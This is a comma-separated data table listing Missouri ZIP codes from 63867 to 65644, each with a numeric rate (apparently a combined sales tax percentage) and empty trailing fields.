US-MO-63867,US,MO,63867,5.475,,,, US-MO-63868,US,MO,63868,6.475,,,, US-MO-63869,US,MO,63869,7.975,,,, US-MO-63870,US,MO,63870,5.475,,,, US-MO-63873,US,MO,63873,6.975,,,, US-MO-63874,US,MO,63874,6.475,,,, US-MO-63876,US,MO,63876,5.225,,,, US-MO-63877,US,MO,63877,5.475,,,, US-MO-63878,US,MO,63878,5.475,,,, US-MO-63879,US,MO,63879,6.725,,,, US-MO-63880,US,MO,63880,5.225,,,, US-MO-63881,US,MO,63881,8.475,,,, US-MO-63882,US,MO,63882,6.975,,,, US-MO-63901,US,MO,63901,5.225,,,, US-MO-63902,US,MO,63902,7.725,,,, US-MO-63931,US,MO,63931,7.225,,,, US-MO-63932,US,MO,63932,5.225,,,, US-MO-63933,US,MO,63933,5.225,,,, US-MO-63935,US,MO,63935,7.225,,,, US-MO-63936,US,MO,63936,5.225,,,, US-MO-63937,US,MO,63937,6.725,,,, US-MO-63938,US,MO,63938,6.725,,,, US-MO-63939,US,MO,63939,5.725,,,, US-MO-63940,US,MO,63940,5.225,,,, US-MO-63941,US,MO,63941,5.225,,,, US-MO-63943,US,MO,63943,6.225,,,, US-MO-63944,US,MO,63944,7.725,,,, US-MO-63945,US,MO,63945,5.225,,,, US-MO-63950,US,MO,63950,5.725,,,, US-MO-63951,US,MO,63951,5.725,,,, US-MO-63952,US,MO,63952,6.725,,,, US-MO-63953,US,MO,63953,7.725,,,, US-MO-63954,US,MO,63954,5.225,,,, US-MO-63955,US,MO,63955,5.725,,,, US-MO-63956,US,MO,63956,5.725,,,, US-MO-63957,US,MO,63957,8.225,,,, US-MO-63960,US,MO,63960,5.225,,,, US-MO-63961,US,MO,63961,5.225,,,, US-MO-63962,US,MO,63962,7.725,,,, US-MO-63964,US,MO,63964,5.725,,,, US-MO-63965,US,MO,63965,6.725,,,, US-MO-63966,US,MO,63966,5.225,,,, US-MO-63967,US,MO,63967,7.225,,,, US-MO-64001,US,MO,64001,5.85,,,, US-MO-64002,US,MO,64002,7.725,,,, US-MO-64011,US,MO,64011,6.35,,,, US-MO-64012,US,MO,64012,8.725,,,, US-MO-64013,US,MO,64013,7.975,,,, US-MO-64014,US,MO,64014,7.975,,,, US-MO-64015,US,MO,64015,7.975,,,, US-MO-64016,US,MO,64016,5.475,,,, US-MO-64017,US,MO,64017,6.225,,,, US-MO-64018,US,MO,64018,5.6,,,, US-MO-64019,US,MO,64019,6.475,,,, US-MO-64020,US,MO,64020,8.1,,,, US-MO-64021,US,MO,64021,5.85,,,, US-MO-64022,US,MO,64022,5.85,,,, US-MO-64024,US,MO,64024,7.725,,,, US-MO-64028,US,MO,64028,5.6,,,, US-MO-64029,US,MO,64029,8.475,,,, US-MO-64030,US,MO,64030,7.975,,,, US-MO-64034,US,MO,64034,7.475,,,, US-MO-64035,US,MO,64035,6.225,,,, US-MO-64036,US,MO,64036,8.225,,,, US-MO-64037,US,MO,64037,8.1,,,, US-MO-64040,US,MO,64040,7.975,,,, US-MO-64048,US,MO,64048,5.225,,,, US-MO-64050,US,MO,64050,7.725,,,, US-MO-64051,US,MO,64051,7.725,,,, US-MO-64052,US,MO,64052,7.725,,,, US-MO-64053,US,MO,64053,7.725,,,, US-MO-64054,US,MO,64054,7.475,,,, US-MO-64055,US,MO,64055,7.725,,,, US-MO-64056,US,MO,64056,7.725,,,, US-MO-64057,US,MO,64057,7.725,,,, US-MO-64058,US,MO,64058,5.475,,,, US-MO-64060,US,MO,64060,7.225,,,, US-MO-64061,US,MO,64061,6.475,,,, US-MO-64062,US,MO,64062,5.725,,,, US-MO-64063,US,MO,64063,7.725,,,, US-MO-64064,US,MO,64064,7.725,,,, US-MO-64065,US,MO,64065,7.725,,,, US-MO-64066,US,MO,64066,6.475,,,, US-MO-64067,US,MO,64067,8.35,,,, US-MO-64068,US,MO,64068,7.725,,,, US-MO-64069,US,MO,64069,7.725,,,, US-MO-64070,US,MO,64070,5.475,,,, US-MO-64071,US,MO,64071,5.85,,,, US-MO-64072,US,MO,64072,5.225,,,, US-MO-64073,US,MO,64073,7.725,,,, US-MO-64074,US,MO,64074,5.85,,,, US-MO-64075,US,MO,64075,7.975,,,, US-MO-64076,US,MO,64076,5.85,,,, US-MO-64077,US,MO,64077,6.725,,,, US-MO-64078,US,MO,64078,5.975,,,, US-MO-64079,US,MO,64079,5.6,,,, US-MO-64080,US,MO,64080,5.975,,,, US-MO-64081,US,MO,64081,7.725,,,, US-MO-64082,US,MO,64082,7.725,,,, US-MO-64083,US,MO,64083,8.975,,,, US-MO-64084,US,MO,64084,6.225,,,, US-MO-64085,US,MO,64085,8.225,,,, US-MO-64086,US,MO,64086,7.725,,,, US-MO-64088,US,MO,64088,5.475,,,, US-MO-64089,US,MO,64089,7.225,,,, US-MO-64090,US,MO,64090,6.975,,,, US-MO-64092,US,MO,64092,5.6,,,, US-MO-64093,US,MO,64093,8.35,,,, US-MO-64096,US,MO,64096,8.35,,,, US-MO-64097,US,MO,64097,5.85,,,, US-MO-64098,US,MO,64098,5.6,,,, US-MO-64101,US,MO,64101,8.35,,,, US-MO-64102,US,MO,64102,8.35,,,, US-MO-64105,US,MO,64105,9.35,,,, US-MO-64106,US,MO,64106,9.35,,,, US-MO-64108,US,MO,64108,8.35,,,, US-MO-64109,US,MO,64109,8.35,,,, US-MO-64110,US,MO,64110,8.35,,,, US-MO-64111,US,MO,64111,8.35,,,, US-MO-64112,US,MO,64112,8.35,,,, US-MO-64113,US,MO,64113,8.35,,,, US-MO-64114,US,MO,64114,8.35,,,, US-MO-64116,US,MO,64116,8.1,,,, US-MO-64117,US,MO,64117,8.1,,,, US-MO-64118,US,MO,64118,8.1,,,, US-MO-64119,US,MO,64119,8.1,,,, US-MO-64120,US,MO,64120,8.35,,,, US-MO-64121,US,MO,64121,9.35,,,, US-MO-64123,US,MO,64123,8.35,,,, US-MO-64124,US,MO,64124,8.35,,,, US-MO-64125,US,MO,64125,8.35,,,, US-MO-64126,US,MO,64126,8.35,,,, US-MO-64127,US,MO,64127,8.35,,,, US-MO-64128,US,MO,64128,8.35,,,, US-MO-64129,US,MO,64129,8.35,,,, US-MO-64130,US,MO,64130,8.35,,,, US-MO-64131,US,MO,64131,8.35,,,, US-MO-64132,US,MO,64132,8.35,,,, US-MO-64133,US,MO,64133,8.225,,,, US-MO-64134,US,MO,64134,8.35,,,, US-MO-64136,US,MO,64136,8.35,,,, US-MO-64137,US,MO,64137,8.35,,,, US-MO-64138,US,MO,64138,8.35,,,, US-MO-64139,US,MO,64139,8.35,,,, US-MO-64141,US,MO,64141,9.35,,,, US-MO-64144,US,MO,64144,8.1,,,, US-MO-64145,US,MO,64145,8.35,,,, US-MO-64146,US,MO,64146,8.35,,,, US-MO-64147,US,MO,64147,8.35,,,, US-MO-64148,US,MO,64148,9.35,,,, US-MO-64149,US,MO,64149,8.35,,,, US-MO-64150,US,MO,64150,6.6,,,, US-MO-64151,US,MO,64151,8.475,,,, US-MO-64152,US,MO,64152,5.6,,,, US-MO-64153,US,MO,64153,8.475,,,, US-MO-64154,US,MO,64154,8.475,,,, US-MO-64155,US,MO,64155,8.1,,,, US-MO-64156,US,MO,64156,8.1,,,, US-MO-64157,US,MO,64157,8.1,,,, US-MO-64158,US,MO,64158,8.1,,,, US-MO-64161,US,MO,64161,8.1,,,, US-MO-64163,US,MO,64163,6.6,,,, US-MO-64164,US,MO,64164,8.475,,,, US-MO-64165,US,MO,64165,8.1,,,, US-MO-64166,US,MO,64166,5.725,,,, US-MO-64167,US,MO,64167,5.725,,,, US-MO-64168,US,MO,64168,7.725,,,, US-MO-64170,US,MO,64170,8.35,,,, US-MO-64171,US,MO,64171,9.35,,,, US-MO-64179,US,MO,64179,9.35,,,, US-MO-64180,US,MO,64180,9.35,,,, US-MO-64184,US,MO,64184,9.35,,,, US-MO-64187,US,MO,64187,9.35,,,, US-MO-64188,US,MO,64188,7.725,,,, US-MO-64190,US,MO,64190,8.475,,,, US-MO-64191,US,MO,64191,8.35,,,, US-MO-64195,US,MO,64195,9.475,,,, US-MO-64196,US,MO,64196,9.35,,,, US-MO-64197,US,MO,64197,8.35,,,, US-MO-64198,US,MO,64198,8.35,,,, US-MO-64199,US,MO,64199,9.35,,,, US-MO-64401,US,MO,64401,5.325,,,, US-MO-64402,US,MO,64402,7.225,,,, US-MO-64420,US,MO,64420,7.1,,,, US-MO-64421,US,MO,64421,6.425,,,, US-MO-64422,US,MO,64422,5.725,,,, US-MO-64423,US,MO,64423,5.725,,,, US-MO-64424,US,MO,64424,7.35,,,, US-MO-64426,US,MO,64426,5.475,,,, US-MO-64427,US,MO,64427,6.425,,,, US-MO-64428,US,MO,64428,5.725,,,, US-MO-64429,US,MO,64429,7.475,,,, US-MO-64430,US,MO,64430,5.725,,,, US-MO-64431,US,MO,64431,5.725,,,, US-MO-64432,US,MO,64432,5.725,,,, US-MO-64433,US,MO,64433,5.725,,,, US-MO-64434,US,MO,64434,5.725,,,, US-MO-64436,US,MO,64436,6.425,,,, US-MO-64437,US,MO,64437,7.725,,,, US-MO-64438,US,MO,64438,5.225,,,, US-MO-64439,US,MO,64439,5.6,,,, US-MO-64440,US,MO,64440,5.325,,,, US-MO-64441,US,MO,64441,6.1,,,, US-MO-64442,US,MO,64442,5.475,,,, US-MO-64443,US,MO,64443,5.325,,,, US-MO-64444,US,MO,64444,5.6,,,, US-MO-64445,US,MO,64445,5.725,,,, US-MO-64446,US,MO,64446,7.475,,,, US-MO-64448,US,MO,64448,5.325,,,, US-MO-64449,US,MO,64449,6.425,,,, US-MO-64451,US,MO,64451,6.725,,,, US-MO-64453,US,MO,64453,5.225,,,, US-MO-64454,US,MO,64454,6.475,,,, US-MO-64455,US,MO,64455,5.725,,,, US-MO-64456,US,MO,64456,8.1,,,, US-MO-64457,US,MO,64457,5.725,,,, US-MO-64458,US,MO,64458,5.475,,,, US-MO-64459,US,MO,64459,6.425,,,, US-MO-64461,US,MO,64461,5.725,,,, US-MO-64463,US,MO,64463,6.725,,,, US-MO-64465,US,MO,64465,5.225,,,, US-MO-64466,US,MO,64466,6.725,,,, US-MO-64467,US,MO,64467,5.475,,,, US-MO-64468,US,MO,64468,7.975,,,, US-MO-64469,US,MO,64469,5.725,,,, US-MO-64470,US,MO,64470,8.225,,,, US-MO-64471,US,MO,64471,5.475,,,, US-MO-64473,US,MO,64473,6.725,,,, US-MO-64474,US,MO,64474,5.725,,,, US-MO-64475,US,MO,64475,5.725,,,, US-MO-64476,US,MO,64476,5.725,,,, US-MO-64477,US,MO,64477,7.225,,,, US-MO-64479,US,MO,64479,5.725,,,, US-MO-64480,US,MO,64480,5.925,,,, US-MO-64481,US,MO,64481,5.975,,,, US-MO-64482,US,MO,64482,8.225,,,, US-MO-64483,US,MO,64483,6.425,,,, US-MO-64484,US,MO,64484,5.325,,,, US-MO-64485,US,MO,64485,8.425,,,, US-MO-64486,US,MO,64486,6.1,,,, US-MO-64487,US,MO,64487,5.725,,,, US-MO-64489,US,MO,64489,6.225,,,, US-MO-64490,US,MO,64490,5.225,,,, US-MO-64491,US,MO,64491,8.475,,,, US-MO-64492,US,MO,64492,5.225,,,, US-MO-64493,US,MO,64493,5.225,,,, US-MO-64494,US,MO,64494,5.725,,,, US-MO-64496,US,MO,64496,6.475,,,, US-MO-64497,US,MO,64497,5.725,,,, US-MO-64498,US,MO,64498,6.475,,,, US-MO-64499,US,MO,64499,6.1,,,, US-MO-64501,US,MO,64501,7.7,,,, US-MO-64502,US,MO,64502,7.7,,,, US-MO-64503,US,MO,64503,7.7,,,, US-MO-64504,US,MO,64504,7.7,,,, US-MO-64505,US,MO,64505,7.7,,,, US-MO-64506,US,MO,64506,7.7,,,, US-MO-64507,US,MO,64507,7.7,,,, US-MO-64508,US,MO,64508,7.7,,,, US-MO-64601,US,MO,64601,7.225,,,, US-MO-64620,US,MO,64620,6.225,,,, US-MO-64622,US,MO,64622,5.475,,,, US-MO-64623,US,MO,64623,5.475,,,, US-MO-64624,US,MO,64624,7.725,,,, US-MO-64625,US,MO,64625,7.725,,,, US-MO-64628,US,MO,64628,7.975,,,, US-MO-64630,US,MO,64630,6.225,,,, US-MO-64631,US,MO,64631,6.225,,,, US-MO-64632,US,MO,64632,5.975,,,, US-MO-64633,US,MO,64633,7.225,,,, US-MO-64635,US,MO,64635,4.975,,,, US-MO-64636,US,MO,64636,6.725,,,, US-MO-64637,US,MO,64637,6.725,,,, US-MO-64638,US,MO,64638,4.975,,,, US-MO-64639,US,MO,64639,5.475,,,, US-MO-64640,US,MO,64640,7.6,,,, US-MO-64641,US,MO,64641,5.725,,,, US-MO-64642,US,MO,64642,5.975,,,, US-MO-64643,US,MO,64643,7.475,,,, US-MO-64644,US,MO,64644,8.725,,,, US-MO-64645,US,MO,64645,6.975,,,, US-MO-64646,US,MO,64646,6.975,,,, US-MO-64647,US,MO,64647,6.225,,,, US-MO-64648,US,MO,64648,6.225,,,, US-MO-64649,US,MO,64649,6.725,,,, US-MO-64650,US,MO,64650,6.725,,,, US-MO-64651,US,MO,64651,6.225,,,, US-MO-64652,US,MO,64652,5.725,,,, US-MO-64653,US,MO,64653,6.225,,,, US-MO-64654,US,MO,64654,6.225,,,, US-MO-64655,US,MO,64655,6.225,,,, US-MO-64656,US,MO,64656,4.975,,,, US-MO-64657,US,MO,64657,5.225,,,, US-MO-64658,US,MO,64658,7.725,,,, US-MO-64659,US,MO,64659,6.225,,,, US-MO-64660,US,MO,64660,5.975,,,, US-MO-64661,US,MO,64661,6.475,,,, US-MO-64664,US,MO,64664,4.975,,,, US-MO-64667,US,MO,64667,6.975,,,, US-MO-64668,US,MO,64668,5.475,,,, US-MO-64670,US,MO,64670,6.725,,,, US-MO-64671,US,MO,64671,6.725,,,, US-MO-64672,US,MO,64672,6.225,,,, US-MO-64673,US,MO,64673,7.475,,,, US-MO-64674,US,MO,64674,6.225,,,, US-MO-64676,US,MO,64676,5.975,,,, US-MO-64679,US,MO,64679,5.725,,,, US-MO-64680,US,MO,64680,9.35,,,, US-MO-64681,US,MO,64681,5.975,,,, US-MO-64682,US,MO,64682,5.475,,,, US-MO-64683,US,MO,64683,7.725,,,, US-MO-64686,US,MO,64686,4.975,,,, US-MO-64688,US,MO,64688,4.975,,,, US-MO-64689,US,MO,64689,6.225,,,, US-MO-64701,US,MO,64701,7.85,,,, US-MO-64720,US,MO,64720,7.975,,,, US-MO-64722,US,MO,64722,5.225,,,, US-MO-64723,US,MO,64723,6.225,,,, US-MO-64724,US,MO,64724,7.1,,,, US-MO-64725,US,MO,64725,5.975,,,, US-MO-64726,US,MO,64726,5.225,,,, US-MO-64728,US,MO,64728,5.225,,,, US-MO-64730,US,MO,64730,7.85,,,, US-MO-64733,US,MO,64733,6.475,,,, US-MO-64734,US,MO,64734,5.975,,,, US-MO-64735,US,MO,64735,7.475,,,, US-MO-64738,US,MO,64738,4.725,,,, US-MO-64739,US,MO,64739,5.975,,,, US-MO-64740,US,MO,64740,5.225,,,, US-MO-64741,US,MO,64741,5.225,,,, US-MO-64742,US,MO,64742,7.975,,,, US-MO-64743,US,MO,64743,7.475,,,, US-MO-64744,US,MO,64744,7.725,,,, US-MO-64745,US,MO,64745,5.225,,,, US-MO-64746,US,MO,64746,5.975,,,, US-MO-64747,US,MO,64747,5.975,,,, US-MO-64748,US,MO,64748,7.6,,,, US-MO-64750,US,MO,64750,5.225,,,, US-MO-64752,US,MO,64752,5.225,,,, US-MO-64755,US,MO,64755,5.2,,,, US-MO-64756,US,MO,64756,5.725,,,, US-MO-64759,US,MO,64759,7.725,,,, US-MO-64761,US,MO,64761,7.975,,,, US-MO-64762,US,MO,64762,5.725,,,, US-MO-64763,US,MO,64763,6.975,,,, US-MO-64765,US,MO,64765,5.225,,,, US-MO-64766,US,MO,64766,7.725,,,, US-MO-64767,US,MO,64767,5.225,,,, US-MO-64769,US,MO,64769,5.725,,,, US-MO-64770,US,MO,64770,6.725,,,, US-MO-64771,US,MO,64771,5.225,,,, US-MO-64772,US,MO,64772,7.725,,,, US-MO-64776,US,MO,64776,4.725,,,, US-MO-64778,US,MO,64778,5.225,,,, US-MO-64779,US,MO,64779,7.225,,,, US-MO-64780,US,MO,64780,6.225,,,, US-MO-64781,US,MO,64781,4.725,,,, US-MO-64783,US,MO,64783,5.225,,,, US-MO-64784,US,MO,64784,5.225,,,, US-MO-64788,US,MO,64788,7.225,,,, US-MO-64790,US,MO,64790,5.225,,,, US-MO-64801,US,MO,64801,7.825,,,, US-MO-64802,US,MO,64802,7.825,,,, US-MO-64803,US,MO,64803,7.825,,,, US-MO-64804,US,MO,64804,7.825,,,, US-MO-64830,US,MO,64830,6.2,,,, US-MO-64831,US,MO,64831,6.225,,,, US-MO-64832,US,MO,64832,5.2,,,, US-MO-64833,US,MO,64833,5.2,,,, US-MO-64834,US,MO,64834,7.7,,,, US-MO-64835,US,MO,64835,7.2,,,, US-MO-64836,US,MO,64836,5.2,,,, US-MO-64840,US,MO,64840,5.35,,,, US-MO-64841,US,MO,64841,6.95,,,, US-MO-64842,US,MO,64842,5.35,,,, US-MO-64843,US,MO,64843,6.225,,,, US-MO-64844,US,MO,64844,5.35,,,, US-MO-64847,US,MO,64847,8.225,,,, US-MO-64848,US,MO,64848,5.725,,,, US-MO-64849,US,MO,64849,5.2,,,, US-MO-64850,US,MO,64850,5.35,,,, US-MO-64853,US,MO,64853,5.35,,,, US-MO-64854,US,MO,64854,6.225,,,, US-MO-64855,US,MO,64855,5.2,,,, US-MO-64856,US,MO,64856,6.225,,,, US-MO-64857,US,MO,64857,6.2,,,, US-MO-64858,US,MO,64858,5.35,,,, US-MO-64859,US,MO,64859,5.2,,,, US-MO-64861,US,MO,64861,6.225,,,, US-MO-64862,US,MO,64862,5.2,,,, US-MO-64863,US,MO,64863,6.225,,,, US-MO-64864,US,MO,64864,6.35,,,, US-MO-64865,US,MO,64865,5.35,,,, US-MO-64866,US,MO,64866,5.35,,,, US-MO-64867,US,MO,64867,6.225,,,, US-MO-64868,US,MO,64868,6.225,,,, US-MO-64870,US,MO,64870,7.7,,,, US-MO-64873,US,MO,64873,5.725,,,, US-MO-64874,US,MO,64874,7.1,,,, US-MO-64999,US,MO,64999,8.35,,,, US-MO-65001,US,MO,65001,7.475,,,, US-MO-65010,US,MO,65010,7.475,,,, US-MO-65011,US,MO,65011,5.725,,,, US-MO-65013,US,MO,65013,5.891,,,, US-MO-65014,US,MO,65014,8.1,,,, US-MO-65016,US,MO,65016,6.475,,,, US-MO-65017,US,MO,65017,5.725,,,, US-MO-65018,US,MO,65018,7.975,,,, US-MO-65020,US,MO,65020,5.475,,,, US-MO-65023,US,MO,65023,5.725,,,, US-MO-65024,US,MO,65024,6.475,,,, US-MO-65025,US,MO,65025,7.475,,,, US-MO-65026,US,MO,65026,8.125,,,, US-MO-65032,US,MO,65032,5.725,,,, US-MO-65034,US,MO,65034,5.725,,,, US-MO-65035,US,MO,65035,6.475,,,, US-MO-65036,US,MO,65036,7.1,,,, US-MO-65037,US,MO,65037,5.725,,,, US-MO-65038,US,MO,65038,7.225,,,, US-MO-65039,US,MO,65039,5.975,,,, US-MO-65040,US,MO,65040,5.725,,,, US-MO-65041,US,MO,65041,8.1,,,, US-MO-65042,US,MO,65042,6.475,,,, US-MO-65043,US,MO,65043,5.725,,,, US-MO-65046,US,MO,65046,6.475,,,, US-MO-65047,US,MO,65047,5.725,,,, US-MO-65048,US,MO,65048,6.475,,,, US-MO-65049,US,MO,65049,5.475,,,, US-MO-65050,US,MO,65050,6.475,,,, US-MO-65051,US,MO,65051,6.475,,,, US-MO-65052,US,MO,65052,5.475,,,, US-MO-65053,US,MO,65053,5.725,,,, US-MO-65054,US,MO,65054,6.475,,,, US-MO-65055,US,MO,65055,6.475,,,, US-MO-65058,US,MO,65058,6.975,,,, US-MO-65059,US,MO,65059,5.725,,,, US-MO-65061,US,MO,65061,6.475,,,, US-MO-65062,US,MO,65062,5.975,,,, US-MO-65063,US,MO,65063,5.725,,,, US-MO-65064,US,MO,65064,5.725,,,, US-MO-65065,US,MO,65065,7.475,,,, US-MO-65066,US,MO,65066,8.35,,,, US-MO-65067,US,MO,65067,5.725,,,, US-MO-65068,US,MO,65068,6.225,,,, US-MO-65069,US,MO,65069,6.475,,,, US-MO-65072,US,MO,65072,5.725,,,, US-MO-65074,US,MO,65074,5.725,,,, US-MO-65075,US,MO,65075,5.725,,,, US-MO-65076,US,MO,65076,5.725,,,, US-MO-65077,US,MO,65077,5.725,,,, US-MO-65078,US,MO,65078,5.725,,,, US-MO-65079,US,MO,65079,5.975,,,, US-MO-65080,US,MO,65080,5.725,,,, US-MO-65081,US,MO,65081,7.725,,,, US-MO-65082,US,MO,65082,5.725,,,, US-MO-65083,US,MO,65083,5.725,,,, US-MO-65084,US,MO,65084,5.725,,,, US-MO-65085,US,MO,65085,6.475,,,, US-MO-65101,US,MO,65101,7.725,,,, US-MO-65102,US,MO,65102,7.725,,,, US-MO-65103,US,MO,65103,7.725,,,, US-MO-65104,US,MO,65104,7.725,,,, US-MO-65105,US,MO,65105,7.725,,,, US-MO-65106,US,MO,65106,7.725,,,, US-MO-65107,US,MO,65107,7.725,,,, US-MO-65108,US,MO,65108,7.725,,,, US-MO-65109,US,MO,65109,7.725,,,, US-MO-65110,US,MO,65110,7.725,,,, US-MO-65111,US,MO,65111,7.725,,,, US-MO-65201,US,MO,65201,7.975,,,, US-MO-65202,US,MO,65202,7.975,,,, US-MO-65203,US,MO,65203,7.975,,,, US-MO-65205,US,MO,65205,8.475,,,, US-MO-65211,US,MO,65211,7.975,,,, US-MO-65212,US,MO,65212,7.975,,,, US-MO-65215,US,MO,65215,7.975,,,, US-MO-65216,US,MO,65216,7.975,,,, US-MO-65217,US,MO,65217,7.975,,,, US-MO-65218,US,MO,65218,7.975,,,, US-MO-65230,US,MO,65230,6.85,,,, US-MO-65231,US,MO,65231,5.725,,,, US-MO-65232,US,MO,65232,6.6,,,, US-MO-65233,US,MO,65233,8.225,,,, US-MO-65236,US,MO,65236,7.475,,,, US-MO-65237,US,MO,65237,6.225,,,, US-MO-65239,US,MO,65239,5.725,,,, US-MO-65240,US,MO,65240,7.975,,,, US-MO-65243,US,MO,65243,5.725,,,, US-MO-65244,US,MO,65244,5.725,,,, US-MO-65246,US,MO,65246,5.975,,,, US-MO-65247,US,MO,65247,6.35,,,, US-MO-65248,US,MO,65248,6.85,,,, US-MO-65250,US,MO,65250,6.85,,,, US-MO-65251,US,MO,65251,5.725,,,, US-MO-65254,US,MO,65254,6.85,,,, US-MO-65255,US,MO,65255,5.975,,,, US-MO-65256,US,MO,65256,5.975,,,, US-MO-65257,US,MO,65257,5.725,,,, US-MO-65258,US,MO,65258,5.725,,,, US-MO-65259,US,MO,65259,5.725,,,, US-MO-65260,US,MO,65260,5.725,,,, US-MO-65261,US,MO,65261,6.975,,,, US-MO-65262,US,MO,65262,5.725,,,, US-MO-65263,US,MO,65263,5.725,,,, US-MO-65264,US,MO,65264,8.1,,,, US-MO-65265,US,MO,65265,8.6,,,, US-MO-65270,US,MO,65270,8.225,,,, US-MO-65274,US,MO,65274,6.85,,,, US-MO-65275,US,MO,65275,5.725,,,, US-MO-65276,US,MO,65276,6.225,,,, US-MO-65278,US,MO,65278,5.725,,,, US-MO-65279,US,MO,65279,5.975,,,, US-MO-65280,US,MO,65280,6.6,,,, US-MO-65281,US,MO,65281,7.35,,,, US-MO-65282,US,MO,65282,5.725,,,, US-MO-65283,US,MO,65283,6.225,,,, US-MO-65284,US,MO,65284,5.975,,,, US-MO-65285,US,MO,65285,6.1,,,, US-MO-65286,US,MO,65286,5.975,,,, US-MO-65287,US,MO,65287,6.225,,,, US-MO-65299,US,MO,65299,5.975,,,, US-MO-65301,US,MO,65301,8.1,,,, US-MO-65302,US,MO,65302,8.1,,,, US-MO-65305,US,MO,65305,6.475,,,, US-MO-65320,US,MO,65320,8.35,,,, US-MO-65321,US,MO,65321,6.35,,,, US-MO-65322,US,MO,65322,6.225,,,, US-MO-65323,US,MO,65323,7.225,,,, US-MO-65324,US,MO,65324,5.475,,,, US-MO-65325,US,MO,65325,7.6,,,, US-MO-65326,US,MO,65326,6.1,,,, US-MO-65327,US,MO,65327,6.85,,,, US-MO-65329,US,MO,65329,5.725,,,, US-MO-65330,US,MO,65330,6.975,,,, US-MO-65332,US,MO,65332,7.725,,,, US-MO-65333,US,MO,65333,5.225,,,, US-MO-65334,US,MO,65334,5.725,,,, US-MO-65335,US,MO,65335,6.1,,,, US-MO-65336,US,MO,65336,8.475,,,, US-MO-65337,US,MO,65337,7.725,,,, US-MO-65338,US,MO,65338,6.1,,,, US-MO-65339,US,MO,65339,6.85,,,, US-MO-65340,US,MO,65340,7.35,,,, US-MO-65344,US,MO,65344,5.85,,,, US-MO-65345,US,MO,65345,6.1,,,, US-MO-65347,US,MO,65347,5.85,,,, US-MO-65348,US,MO,65348,7.225,,,, US-MO-65349,US,MO,65349,7.85,,,, US-MO-65350,US,MO,65350,5.725,,,, US-MO-65351,US,MO,65351,8.35,,,, US-MO-65354,US,MO,65354,5.725,,,, US-MO-65355,US,MO,65355,6.1,,,, US-MO-65360,US,MO,65360,6.725,,,, US-MO-65401,US,MO,65401,7.85,,,, US-MO-65402,US,MO,65402,7.85,,,, US-MO-65409,US,MO,65409,7.85,,,, US-MO-65436,US,MO,65436,5.35,,,, US-MO-65438,US,MO,65438,7.225,,,, US-MO-65439,US,MO,65439,5.725,,,, US-MO-65440,US,MO,65440,5.225,,,, US-MO-65441,US,MO,65441,6.975,,,, US-MO-65443,US,MO,65443,6.391,,,, US-MO-65444,US,MO,65444,5.725,,,, US-MO-65446,US,MO,65446,5.975,,,, US-MO-65449,US,MO,65449,5.975,,,, US-MO-65452,US,MO,65452,5.475,,,, US-MO-65453,US,MO,65453,6.475,,,, US-MO-65456,US,MO,65456,5.975,,,, US-MO-65457,US,MO,65457,5.475,,,, US-MO-65459,US,MO,65459,4.975,,,, US-MO-65461,US,MO,65461,5.35,,,, US-MO-65462,US,MO,65462,5.35,,,, US-MO-65463,US,MO,65463,5.225,,,, US-MO-65464,US,MO,65464,5.725,,,, US-MO-65466,US,MO,65466,7.225,,,, US-MO-65468,US,MO,65468,5.725,,,, US-MO-65470,US,MO,65470,5.225,,,, US-MO-65473,US,MO,65473,4.975,,,, US-MO-65479,US,MO,65479,5.725,,,, US-MO-65483,US,MO,65483,7.35,,,, US-MO-65484,US,MO,65484,5.725,,,, US-MO-65486,US,MO,65486,5.725,,,, US-MO-65501,US,MO,65501,5.225,,,, US-MO-65529,US,MO,65529,5.35,,,, US-MO-65532,US,MO,65532,5.225,,,, US-MO-65534,US,MO,65534,5.475,,,, US-MO-65535,US,MO,65535,6.475,,,, US-MO-65536,US,MO,65536,5.225,,,, US-MO-65541,US,MO,65541,5.225,,,, US-MO-65542,US,MO,65542,5.725,,,, US-MO-65543,US,MO,65543,5.225,,,, US-MO-65548,US,MO,65548,7.162,,,, US-MO-65550,US,MO,65550,5.35,,,, US-MO-65552,US,MO,65552,5.725,,,, US-MO-65555,US,MO,65555,5.725,,,, US-MO-65556,US,MO,65556,5.475,,,, US-MO-65557,US,MO,65557,5.725,,,, US-MO-65559,US,MO,65559,5.85,,,, US-MO-65560,US,MO,65560,5.225,,,, US-MO-65564,US,MO,65564,5.725,,,, US-MO-65565,US,MO,65565,8.475,,,, US-MO-65566,US,MO,65566,7.225,,,, US-MO-65567,US,MO,65567,5.475,,,, US-MO-65570,US,MO,65570,5.725,,,, US-MO-65571,US,MO,65571,7.225,,,, US-MO-65580,US,MO,65580,5.891,,,, US-MO-65582,US,MO,65582,6.391,,,, US-MO-65583,US,MO,65583,5.475,,,, US-MO-65584,US,MO,65584,5.475,,,, US-MO-65586,US,MO,65586,5.975,,,, US-MO-65588,US,MO,65588,7.225,,,, US-MO-65589,US,MO,65589,5.725,,,, US-MO-65590,US,MO,65590,6.225,,,, US-MO-65591,US,MO,65591,5.475,,,, US-MO-65601,US,MO,65601,5.6,,,, US-MO-65603,US,MO,65603,6.475,,,, US-MO-65604,US,MO,65604,5.475,,,, US-MO-65605,US,MO,65605,7.725,,,, US-MO-65606,US,MO,65606,8.225,,,, US-MO-65607,US,MO,65607,7.975,,,, US-MO-65608,US,MO,65608,7.225,,,, US-MO-65609,US,MO,65609,5.162,,,, US-MO-65610,US,MO,65610,5.975,,,, US-MO-65611,US,MO,65611,6.475,,,, US-MO-65612,US,MO,65612,5.475,,,, US-MO-65613,US,MO,65613,8.1,,,, US-MO-65614,US,MO,65614,6.1,,,, US-MO-65615,US,MO,65615,9.6,,,, US-MO-65616,US,MO,65616,8.6,,,, US-MO-65617,US,MO,65617,5.6,,,, US-MO-65618,US,MO,65618,8.225,,,, US-MO-65619,US,MO,65619,6.975,,,, US-MO-65620,US,MO,65620,5.975,,,, US-MO-65622,US,MO,65622,8.225,,,, US-MO-65623,US,MO,65623,6.725,,,, US-MO-65624,US,MO,65624,6.475,,,, US-MO-65625,US,MO,65625,5.725,,,, US-MO-65626,US,MO,65626,5.162,,,, US-MO-65627,US,MO,65627,6.1,,,, US-MO-65629,US,MO,65629,5.975,,,, US-MO-65630,US,MO,65630,5.975,,,, US-MO-65631,US,MO,65631,5.975,,,, US-MO-65632,US,MO,65632,5.225,,,, US-MO-65633,US,MO,65633,5.975,,,, US-MO-65634,US,MO,65634,5.725,,,, US-MO-65635,US,MO,65635,6.475,,,, US-MO-65636,US,MO,65636,7.558,,,, US-MO-65637,US,MO,65637,6.725,,,, US-MO-65638,US,MO,65638,7.225,,,, US-MO-65640,US,MO,65640,5.6,,,, US-MO-65641,US,MO,65641,5.725,,,, US-MO-65644,US,MO,65644,6.058,,,, 